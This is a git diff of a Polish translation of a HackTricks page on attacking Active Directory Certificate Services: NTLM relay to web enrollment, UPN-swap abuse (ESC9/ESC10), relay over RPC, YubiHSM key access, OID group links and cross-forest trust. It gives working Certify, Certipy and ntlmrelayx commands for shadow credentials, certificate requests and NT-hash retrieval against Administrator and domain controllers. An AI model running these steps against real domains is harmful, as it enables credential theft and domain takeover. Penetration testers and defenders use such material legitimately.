Kilka **metod rejestracji opartych na HTTP** jest obsługiwanych przez AD CS, udostępniane poprzez dodatkowe role serwera, które administratorzy mogą zainstalować. Te interfejsy do rejestracji certyfikatów opartych na HTTP są podatne na **ataki NTLM relay**. Atakujący, z **skompromitowanego komputera, może podszyć się pod dowolne konto AD, które uwierzytelnia się za pomocą przychodzącego NTLM**. Podszywając się pod konto ofiary, atakujący może uzyskać dostęp do tych interfejsów sieciowych, aby **żądać certyfikatu uwierzytelniania klienta, korzystając z szablonów certyfikatów `User` lub `Machine`**.
|
Kilka **metod zapisu opartych na HTTP** jest obsługiwanych przez AD CS, udostępnianych poprzez dodatkowe role serwera, które administratorzy mogą zainstalować. Te interfejsy do zapisu certyfikatów opartych na HTTP są podatne na **ataki przekazywania NTLM**. Atakujący z **skompromitowanego komputera może podszyć się pod dowolne konto AD, które uwierzytelnia się za pomocą przychodzącego NTLM**. Podszywając się pod konto ofiary, atakujący może uzyskać dostęp do tych interfejsów sieciowych, aby **żądać certyfikatu uwierzytelniania klienta, korzystając z szablonów certyfikatów `User` lub `Machine`**.
|
||||||
|
|
||||||
* **Interfejs rejestracji internetowej** (starsza aplikacja ASP dostępna pod adresem `http://<caserver>/certsrv/`), domyślnie obsługuje tylko protokół HTTP, co nie zapewnia ochrony przed atakami NTLM relay. Dodatkowo, wyraźnie zezwala tylko na uwierzytelnianie NTLM za pomocą nagłówka HTTP Authorization, co uniemożliwia stosowanie bardziej bezpiecznych metod uwierzytelniania, takich jak Kerberos.
|
* **Interfejs zapisu sieciowego** (starsza aplikacja ASP dostępna pod adresem `http://<caserver>/certsrv/`), domyślnie obsługuje tylko protokół HTTP, co nie zapewnia ochrony przed atakami przekazywania NTLM. Dodatkowo, wyraźnie zezwala tylko na uwierzytelnianie NTLM za pomocą nagłówka HTTP Authorization, co uniemożliwia stosowanie bardziej bezpiecznych metod uwierzytelniania, takich jak Kerberos.
|
||||||
* **Usługa Rejestracji Certyfikatów** (CES), **Usługa Polityki Rejestracji Certyfikatów** (CEP) i **Usługa Rejestracji Urządzeń Sieciowych** (NDES) domyślnie obsługują uwierzytelnianie negocjowane za pomocą nagłówka HTTP Authorization. Uwierzytelnianie negocjowane **obsługuje zarówno** Kerberos, jak i **NTLM**, pozwalając atakującemu na **zmniejszenie do uwierzytelniania NTLM** podczas ataków relay. Chociaż te usługi sieciowe domyślnie obsługują HTTPS, samo HTTPS **nie chroni przed atakami NTLM relay**. Ochrona przed atakami NTLM relay dla usług HTTPS jest możliwa tylko wtedy, gdy HTTPS jest połączone z wiązaniem kanału. Niestety, AD CS nie aktywuje Rozszerzonej Ochrony dla Uwierzytelniania w IIS, co jest wymagane do wiązania kanałów.
|
* **Usługa Zapisu Certyfikatów** (CES), **Usługa Polityki Zapisu Certyfikatów** (CEP) i **Usługa Zapisu Urządzeń Sieciowych** (NDES) domyślnie obsługują uwierzytelnianie negocjacyjne za pomocą nagłówka HTTP Authorization. Uwierzytelnianie negocjacyjne **obsługuje zarówno** Kerberos, jak i **NTLM**, pozwalając atakującemu **zmniejszyć poziom uwierzytelniania do NTLM** podczas ataków przekazywania. Chociaż te usługi sieciowe domyślnie obsługują protokół HTTPS, samo HTTPS **nie chroni przed atakami przekazywania NTLM**. Ochrona przed atakami przekazywania NTLM dla usług HTTPS jest możliwa tylko wtedy, gdy HTTPS jest połączone z powiązaniem kanału. Niestety AD CS nie aktywuje Rozszerzonej Ochrony dla Uwierzytelniania w IIS, co jest wymagane do powiązania kanału.
|
||||||
|
|
||||||
Powszechnym **problemem** z atakami NTLM relay jest **krótki czas trwania sesji NTLM** i niemożność atakującego interakcji z usługami, które **wymagają podpisu NTLM**.
|
Powszechnym **problemem** z atakami przekazywania NTLM jest **krótki czas trwania sesji NTLM** i niemożność atakującego interakcji z usługami, które **wymagają podpisu NTLM**.
|
||||||
|
|
||||||
Niemniej jednak, to ograniczenie jest pokonywane poprzez wykorzystanie ataku NTLM relay do uzyskania certyfikatu dla użytkownika, ponieważ okres ważności certyfikatu określa czas trwania sesji, a certyfikat może być używany z usługami, które **wymagają podpisu NTLM**. Aby uzyskać instrukcje dotyczące wykorzystania skradzionego certyfikatu, zapoznaj się z:
|
Niemniej jednak, to ograniczenie jest pokonywane poprzez wykorzystanie ataku przekazywania NTLM do uzyskania certyfikatu dla użytkownika, ponieważ okres ważności certyfikatu określa czas trwania sesji, a certyfikat może być używany z usługami, które **wymagają podpisu NTLM**. Aby uzyskać instrukcje dotyczące wykorzystania skradzionego certyfikatu, zapoznaj się z:
|
||||||
|
|
||||||
{% content-ref url="account-persistence.md" %}
|
{% content-ref url="account-persistence.md" %}
|
||||||
[account-persistence.md](account-persistence.md)
|
[account-persistence.md](account-persistence.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Kolejnym ograniczeniem ataków NTLM relay jest to, że **maszyna kontrolowana przez atakującego musi zostać uwierzytelniona przez konto ofiary**. Atakujący może albo czekać, albo próbować **wymusić** to uwierzytelnienie:
|
Kolejnym ograniczeniem ataków przekazywania NTLM jest to, że **maszyna kontrolowana przez atakującego musi zostać uwierzytelniona przez konto ofiary**. Atakujący może albo czekać, albo próbować **wymusić** to uwierzytelnienie:
|
||||||
|
|
||||||
{% content-ref url="../printers-spooler-service-abuse.md" %}
|
{% content-ref url="../printers-spooler-service-abuse.md" %}
|
||||||
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
|
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
|
||||||
|
@ -366,13 +366,13 @@ Kolejnym ograniczeniem ataków NTLM relay jest to, że **maszyna kontrolowana pr
|
||||||
|
|
||||||
### **Wykorzystanie**
|
### **Wykorzystanie**
|
||||||
|
|
||||||
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` wylicza **włączone punkty końcowe HTTP AD CS**:
|
[**Certify**](https://github.com/GhostPack/Certify) `cas` wylicza **włączone punkty końcowe HTTP AD CS**:
|
||||||
```
|
```
|
||||||
Certify.exe cas
|
Certify.exe cas
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Właściwość `msPKI-Enrollment-Servers` jest używana przez przedsiębiorstwowe władze certyfikujące (CAs) do przechowywania punktów końcowych Usługi Enrollingu Certyfikatów (CES). Te punkty końcowe można analizować i wyświetlać, korzystając z narzędzia **Certutil.exe**:
|
Właściwość `msPKI-Enrollment-Servers` jest używana przez przedsiębiorstwowe władze certyfikujące (CAs) do przechowywania punktów końcowych Usługi Enrollingu Certyfikatów (CES). Te punkty końcowe mogą być analizowane i wyświetlane za pomocą narzędzia **Certutil.exe**:
|
||||||
```
|
```
|
||||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||||
```
|
```
|
||||||
|
@ -383,7 +383,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Nadużycie z certyfikatem
|
#### Nadużycie z Certify
|
||||||
```bash
|
```bash
|
||||||
## In the victim machine
|
## In the victim machine
|
||||||
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
||||||
|
@ -400,9 +400,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
||||||
```
|
```
|
||||||
#### Wykorzystanie [Certipy](https://github.com/ly4k/Certipy)
|
#### Wykorzystanie [Certipy](https://github.com/ly4k/Certipy)
|
||||||
|
|
||||||
Żądanie certyfikatu jest domyślnie tworzone przez Certipy na podstawie szablonu `Machine` lub `User`, określonego na podstawie tego, czy nazwa konta kończy się na `$`. Określenie alternatywnego szablonu można osiągnąć poprzez użycie parametru `-template`.
|
Żądanie certyfikatu jest domyślnie wykonywane przez Certipy na podstawie szablonu `Machine` lub `User`, określonego na podstawie tego, czy nazwa konta kończy się na `$`. Określenie alternatywnego szablonu można osiągnąć za pomocą parametru `-template`.
|
||||||
|
|
||||||
Technika taka jak [PetitPotam](https://github.com/ly4k/PetitPotam) może być następnie wykorzystana do wymuszenia uwierzytelnienia. Przy pracy z kontrolerami domeny, konieczne jest określenie `-template DomainController`.
|
Technika taka jak [PetitPotam](https://github.com/ly4k/PetitPotam) może być następnie wykorzystana do wymuszenia uwierzytelnienia. Przy pracy z kontrolerami domeny wymagane jest określenie `-template DomainController`.
|
||||||
```bash
|
```bash
|
||||||
certipy relay -ca ca.corp.local
|
certipy relay -ca ca.corp.local
|
||||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||||
|
@ -423,7 +423,7 @@ Nowa wartość **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) dla **`msPKI-Enro
|
||||||
|
|
||||||
Warunki, w których ustawienie tej flagi staje się istotne, obejmują:
|
Warunki, w których ustawienie tej flagi staje się istotne, obejmują:
|
||||||
|
|
||||||
* `StrongCertificateBindingEnforcement` nie jest dostosowane do `2` (domyślnie jest to `1`), lub `CertificateMappingMethods` zawiera flagę `UPN`.
|
* `StrongCertificateBindingEnforcement` nie jest dostosowany do `2` (domyślnie jest to `1`), lub `CertificateMappingMethods` zawiera flagę `UPN`.
|
||||||
* Certyfikat jest oznaczony flagą `CT_FLAG_NO_SECURITY_EXTENSION` w ustawieniu `msPKI-Enrollment-Flag`.
|
* Certyfikat jest oznaczony flagą `CT_FLAG_NO_SECURITY_EXTENSION` w ustawieniu `msPKI-Enrollment-Flag`.
|
||||||
* Certyfikat określa dowolne EKU uwierzytelniania klienta.
|
* Certyfikat określa dowolne EKU uwierzytelniania klienta.
|
||||||
* Dostępne są uprawnienia `GenericWrite` do kompromitacji innego konta.
|
* Dostępne są uprawnienia `GenericWrite` do kompromitacji innego konta.
|
||||||
|
@ -432,27 +432,27 @@ Warunki, w których ustawienie tej flagi staje się istotne, obejmują:
|
||||||
|
|
||||||
Załóżmy, że `John@corp.local` posiada uprawnienia `GenericWrite` nad `Jane@corp.local`, z celem skompromitowania `Administrator@corp.local`. Szablon certyfikatu `ESC9`, do którego `Jane@corp.local` ma prawo zapisu, jest skonfigurowany z flagą `CT_FLAG_NO_SECURITY_EXTENSION` w ustawieniu `msPKI-Enrollment-Flag`.
|
Załóżmy, że `John@corp.local` posiada uprawnienia `GenericWrite` nad `Jane@corp.local`, z celem skompromitowania `Administrator@corp.local`. Szablon certyfikatu `ESC9`, do którego `Jane@corp.local` ma prawo zapisu, jest skonfigurowany z flagą `CT_FLAG_NO_SECURITY_EXTENSION` w ustawieniu `msPKI-Enrollment-Flag`.
|
||||||
|
|
||||||
Początkowo, skrót `Jane` jest pozyskiwany za pomocą Cieniowych Poświadczeń, dzięki uprawnieniom `GenericWrite` `Johna`:
|
Początkowo skrót `Jane` jest pozyskiwany za pomocą Cieniowych Poświadczeń, dzięki uprawnieniom `GenericWrite` `Johna`:
|
||||||
```bash
|
```bash
|
||||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||||
```
|
```
|
||||||
Następnie `userPrincipalName` `Jane` zostaje zmodyfikowany na `Administrator`, celowo pomijając część domeny `@corp.local`:
|
Następnie `userPrincipalName` użytkownika `Jane` zostaje zmodyfikowany na `Administrator`, celowo pomijając część domeny `@corp.local`:
|
||||||
```bash
|
```bash
|
||||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||||
```
|
```
|
||||||
Ta modyfikacja nie narusza ograniczeń, ponieważ `Administrator@corp.local` pozostaje odrębnym `userPrincipalName` dla `Administrator`.
|
Ta modyfikacja nie narusza ograniczeń, pod warunkiem, że `Administrator@corp.local` pozostaje odrębny jako `userPrincipalName` `Administratora`.
|
||||||
|
|
||||||
W związku z tym, szablon certyfikatu `ESC9`, oznaczony jako podatny, jest żądany jako `Jane`:
|
W związku z tym szablon certyfikatu `ESC9`, oznaczony jako podatny, jest żądany jako `Jane`:
|
||||||
```bash
|
```bash
|
||||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||||
```
|
```
|
||||||
Zauważono, że atrybut `userPrincipalName` certyfikatu odzwierciedla `Administrator`, pozbawiony "object SID".
|
Zauważono, że atrybut `userPrincipalName` certyfikatu odzwierciedla `Administrator`, pozbawiony jakiegokolwiek „object SID”.
|
||||||
|
|
||||||
Następnie `userPrincipalName` dla `Jane` zostaje przywrócone do jej pierwotnego wartości, czyli `Jane@corp.local`:
|
Następnie `userPrincipalName` dla `Jane` zostaje przywrócone do jej pierwotnego wartości, czyli `Jane@corp.local`:
|
||||||
```bash
|
```bash
|
||||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||||
```
|
```
|
||||||
Próba uwierzytelnienia za pomocą wydanego certyfikatu teraz zwraca wartość skrótu NT `Administrator@corp.local`. Polecenie musi zawierać `-domain <domain>`, ze względu na brak określenia domeny w certyfikacie:
|
Próba uwierzytelnienia za pomocą wydanego certyfikatu teraz zwraca wartość skrótu NT dla `Administrator@corp.local`. Polecenie musi zawierać `-domain <domain>` z powodu braku określenia domeny w certyfikacie:
|
||||||
```bash
|
```bash
|
||||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||||
```
|
```
|
||||||
|
@ -475,15 +475,15 @@ Jeśli `CertificateMappingMethods` zawiera bit `UPN` (`0x4`).
|
||||||
|
|
||||||
### Przypadek nadużycia 1
|
### Przypadek nadużycia 1
|
||||||
|
|
||||||
Z `StrongCertificateBindingEnforcement` skonfigurowanym jako `0`, konto A z uprawnieniami `GenericWrite` może zostać wykorzystane do skompromitowania dowolnego konta B.
|
Gdy `StrongCertificateBindingEnforcement` jest skonfigurowane jako `0`, konto A z uprawnieniami `GenericWrite` może zostać wykorzystane do skompromitowania dowolnego konta B.
|
||||||
|
|
||||||
Na przykład, mając uprawnienia `GenericWrite` nad `Jane@corp.local`, atakujący ma na celu skompromitowanie `Administrator@corp.local`. Procedura jest podobna do ESC9, pozwalając na wykorzystanie dowolnego szablonu certyfikatu.
|
Na przykład, mając uprawnienia `GenericWrite` nad `Jane@corp.local`, atakujący ma na celu skompromitowanie `Administrator@corp.local`. Procedura jest podobna do ESC9, umożliwiając wykorzystanie dowolnego szablonu certyfikatu.
|
||||||
|
|
||||||
Początkowo, skrót `Jane` jest pozyskiwany za pomocą Cienkich Poświadczeń, wykorzystując `GenericWrite`.
|
Początkowo, skrót `Jane` jest pozyskiwany za pomocą Cieniowych Poświadczeń, wykorzystując `GenericWrite`.
|
||||||
```bash
|
```bash
|
||||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||||
```
|
```
|
||||||
Następnie `userPrincipalName` `Jane` zostaje zmienione na `Administrator`, celowo pomijając część `@corp.local`, aby uniknąć naruszenia ograniczeń.
|
Następnie `userPrincipalName` użytkownika `Jane` zostaje zmienione na `Administrator`, celowo pomijając część `@corp.local`, aby uniknąć naruszenia ograniczeń.
|
||||||
```bash
|
```bash
|
||||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||||
```
|
```
|
||||||
|
@ -495,15 +495,15 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||||
```bash
|
```bash
|
||||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||||
```
|
```
|
||||||
Autoryzacja za pomocą uzyskanego certyfikatu ujawni wartość skrótu NT dla `Administrator@corp.local`, co wymaga określenia domeny w poleceniu ze względu na brak szczegółów domeny w certyfikacie.
|
Autoryzacja za pomocą uzyskanego certyfikatu ujawni wartość skrótu NT dla `Administrator@corp.local`, co wymaga określenia domeny w poleceniu z powodu braku szczegółów domeny w certyfikacie.
|
||||||
```bash
|
```bash
|
||||||
certipy auth -pfx administrator.pfx -domain corp.local
|
certipy auth -pfx administrator.pfx -domain corp.local
|
||||||
```
|
```
|
||||||
### Przypadek nadużycia 2
|
### Przypadek nadużycia 2
|
||||||
|
|
||||||
Dzięki `CertificateMappingMethods` zawierającemu flagę `UPN` (`0x4`), konto A z uprawnieniami `GenericWrite` może skompromitować dowolne konto B, które nie ma właściwości `userPrincipalName`, w tym konta maszynowe i wbudowanego administratora domeny `Administrator`.
|
Dzięki `CertificateMappingMethods` zawierającemu flagę `UPN` (`0x4`), konto A posiadające uprawnienia `GenericWrite` może skompromitować dowolne konto B, które nie ma właściwości `userPrincipalName`, w tym konta maszynowe i wbudowane konto administratora domeny `Administrator`.
|
||||||
|
|
||||||
Celem jest skompromitowanie `DC$@corp.local`, zaczynając od uzyskania hasha `Jane` poprzez Shadow Credentials, wykorzystując `GenericWrite`.
|
Celem jest skompromitowanie `DC$@corp.local`, zaczynając od uzyskania hasła `Jane` poprzez Shadow Credentials, wykorzystując `GenericWrite`.
|
||||||
```bash
|
```bash
|
||||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||||
```
|
```
|
||||||
|
@ -515,15 +515,15 @@ Wniosek o certyfikat do uwierzytelniania klienta jest składany jako `Jane` przy
|
||||||
```bash
|
```bash
|
||||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||||
```
|
```
|
||||||
`userPrincipalName` użytkownika `Jane` jest przywracane do jego pierwotnej postaci po tym procesie.
|
`userPrincipalName` użytkownika `Jane` jest przywracane do swojej pierwotnej postaci po tym procesie.
|
||||||
```bash
|
```bash
|
||||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||||
```
|
```
|
||||||
Aby uwierzytelnić się za pomocą Schannel, wykorzystywana jest opcja `-ldap-shell` w Certipy, co wskazuje na sukces uwierzytelnienia jako `u:CORP\DC$`.
|
Aby uwierzytelnić się za pomocą Schannel, wykorzystywana jest opcja `-ldap-shell` w Certipy, wskazująca na sukces uwierzytelnienia jako `u:CORP\DC$`.
|
||||||
```bash
|
```bash
|
||||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||||
```
|
```
|
||||||
Za pomocą powłoki LDAP polecenia takie jak `set_rbcd` umożliwiają ataki oparte na zasobach (RBCD), potencjalnie kompromitując kontroler domeny.
|
Za pomocą powłoki LDAP polecenia takie jak `set_rbcd` umożliwiają ataki oparte na zleceniach zasobów (RBCD), potencjalnie kompromitując kontroler domeny.
|
||||||
```bash
|
```bash
|
||||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||||
```
|
```
|
||||||
|
@ -573,17 +573,17 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||||
[*] Saved certificate and private key to 'administrator.pfx'
|
[*] Saved certificate and private key to 'administrator.pfx'
|
||||||
[*] Exiting...
|
[*] Exiting...
|
||||||
```
|
```
|
||||||
W przypadku kontrolerów domeny musimy określić `-template` w DomainController.
|
**Uwaga:** Dla kontrolerów domeny musimy określić `-template` w DomainController.
|
||||||
|
|
||||||
Lub używając [forka impacket autorstwa sploutchy'ego](https://github.com/sploutchy/impacket):
|
Lub używając [forka impacket autorstwa sploutchy'ego](https://github.com/sploutchy/impacket):
|
||||||
``` bash
|
``` bash
|
||||||
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
|
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
|
||||||
```
|
```
|
||||||
## Dostęp do powłoki ADCS CA za pomocą YubiHSM - ESC12
|
## Dostęp do powłoki ADCS CA z YubiHSM - ESC12
|
||||||
|
|
||||||
### Wyjaśnienie
|
### Wyjaśnienie
|
||||||
|
|
||||||
Administratorzy mogą skonfigurować Certyfikat Uprawnień w celu przechowywania go na zewnętrznym urządzeniu, takim jak "Yubico YubiHSM2".
|
Administratorzy mogą skonfigurować Certyfikat Uprawnień do przechowywania go na zewnętrznym urządzeniu, takim jak "Yubico YubiHSM2".
|
||||||
|
|
||||||
Jeśli urządzenie USB jest podłączone do serwera CA za pośrednictwem portu USB, lub serwer urządzeń USB w przypadku, gdy serwer CA jest maszyną wirtualną, wymagany jest klucz uwierzytelniania (czasami nazywany "hasłem") dla dostawcy przechowywania kluczy w celu generowania i wykorzystywania kluczy w YubiHSM.
|
Jeśli urządzenie USB jest podłączone do serwera CA za pośrednictwem portu USB, lub serwer urządzeń USB w przypadku, gdy serwer CA jest maszyną wirtualną, wymagany jest klucz uwierzytelniania (czasami nazywany "hasłem") dla dostawcy przechowywania kluczy w celu generowania i wykorzystywania kluczy w YubiHSM.
|
||||||
|
|
||||||
|
@ -633,11 +633,11 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243
|
||||||
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||||
------------------------
|
------------------------
|
||||||
```
|
```
|
||||||
### Scenariusz nadużycia
|
### Szkic nadużycia
|
||||||
|
|
||||||
Znajdź uprawnienia użytkownika, które można użyć za pomocą `certipy find` lub `Certify.exe find /showAllPermissions`.
|
Znajdź uprawnienia użytkownika, które można użyć za pomocą `certipy find` lub `Certify.exe find /showAllPermissions`.
|
||||||
|
|
||||||
Jeśli `John` ma uprawnienia do zapisywania `VulnerableTemplate`, użytkownik może odziedziczyć uprawnienia grupy `VulnerableGroup`.
|
Jeśli `John` ma uprawnienia do zapisywania w `VulnerableTemplate`, użytkownik może odziedziczyć uprawnienia grupy `VulnerableGroup`.
|
||||||
|
|
||||||
Wystarczy, że określi szablon, a otrzyma certyfikat z uprawnieniami OIDToGroupLink.
|
Wystarczy, że określi szablon, a otrzyma certyfikat z uprawnieniami OIDToGroupLink.
|
||||||
```bash
|
```bash
|
||||||
|
@ -647,11 +647,11 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
|
||||||
|
|
||||||
### Łamanie Zaufania Lasów poprzez Skompromitowane CA
|
### Łamanie Zaufania Lasów poprzez Skompromitowane CA
|
||||||
|
|
||||||
Konfiguracja **enrollmentu między lasami** jest stosunkowo prosta. **Certyfikat root CA** z lasu zasobów jest **opublikowany w lasach kont** przez administratorów, a certyfikaty **enterprise CA** z lasu zasobów są **dodane do kontenerów `NTAuthCertificates` i AIA w każdym z lasów kont**. Dla jasności, ta konfiguracja nadaje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, którymi zarządza PKI. Jeśli ten CA zostanie **skompromitowany przez atakujących**, certyfikaty dla wszystkich użytkowników zarówno z lasu zasobów, jak i lasów kont mogą zostać **podrabiane przez nich**, co prowadzi do złamania granicy bezpieczeństwa lasu.
|
Konfiguracja **enrollmentu między lasami** jest stosunkowo prosta. **Certyfikat root CA** z lasu zasobów jest **opublikowany w lasach kont** przez administratorów, a certyfikaty **enterprise CA** z lasu zasobów są **dodane do kontenerów `NTAuthCertificates` i AIA w każdym z lasów kont**. Dla jasności, ta konfiguracja nadaje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, którymi zarządza PKI. Jeśli ten CA zostanie **skompromitowany przez atakujących**, certyfikaty dla wszystkich użytkowników zarówno z lasu zasobów, jak i z lasów kont, mogą zostać **podrabiane przez nich**, łamiąc tym samym granicę bezpieczeństwa lasu.
|
||||||
|
|
||||||
### Przyznawanie Uprawnień do Enrollmentu Obcym Podmiotom
|
### Przyznawanie Uprawnień do Enrollmentu Obcym Podmiotom
|
||||||
|
|
||||||
W środowiskach wielolasowych należy zachować ostrożność w odniesieniu do Enterprise CA, które **publikują szablony certyfikatów**, które pozwalają **Uwierzytelnionym Użytkownikom lub obcym podmiotom** (użytkownikom/grupom spoza lasu, do którego należy Enterprise CA) na **prawa do enrollmentu i edycji**.\
|
W środowiskach wielolasowych należy ostrożnie podchodzić do Enterprise CA, które **publikują szablony certyfikatów**, które pozwalają **Uwierzytelnionym Użytkownikom lub obcym podmiotom** (użytkownikom/grupom spoza lasu, do którego należy Enterprise CA) na **prawa do enrollmentu i edycji**.\
|
||||||
Podczas uwierzytelniania przez zaufanie, SID **Uwierzytelnionych Użytkowników** jest dodawany do tokena użytkownika przez AD. Dlatego jeśli domena posiada Enterprise CA z szablonem, który **pozwala Uwierzytelnionym Użytkownikom na prawa do enrollmentu**, szablon może potencjalnie być **zainstalowany przez użytkownika z innego lasu**. Podobnie, jeśli **prawa do enrollmentu są wyraźnie przyznane obcemu podmiotowi przez szablon**, w ten sposób tworzony jest **międzylasowy związek kontroli dostępu**, umożliwiający podmiotowi z jednego lasu **zainstalowanie szablonu z innego lasu**.
|
Podczas uwierzytelniania przez zaufanie, SID **Uwierzytelnionych Użytkowników** jest dodawany do tokena użytkownika przez AD. Dlatego jeśli domena posiada Enterprise CA z szablonem, który **pozwala Uwierzytelnionym Użytkownikom na prawa do enrollmentu**, szablon mógłby potencjalnie zostać **zainstalowany przez użytkownika z innego lasu**. Podobnie, jeśli **prawa do enrollmentu są wyraźnie przyznane obcemu podmiotowi przez szablon**, w ten sposób tworzony jest **międzylasowy związek kontroli dostępu**, umożliwiający podmiotowi z jednego lasu **zainstalowanie szablonu z innego lasu**.
|
||||||
|
|
||||||
Oba scenariusze prowadzą do **zwiększenia powierzchni ataku** z jednego lasu na drugi. Ustawienia szablonu certyfikatu mogą być wykorzystane przez atakującego do uzyskania dodatkowych uprawnień w obcej domenie.
|
Oba scenariusze prowadzą do **zwiększenia powierzchni ataku** z jednego lasu do drugiego. Ustawienia szablonu certyfikatu mogą zostać wykorzystane przez atakującego do uzyskania dodatkowych uprawnień w obcej domenie.
|
||||||
|
|
|
@ -2,9 +2,9 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Nauka hakerskiego AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć **reklamę swojej firmy na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -12,7 +12,7 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
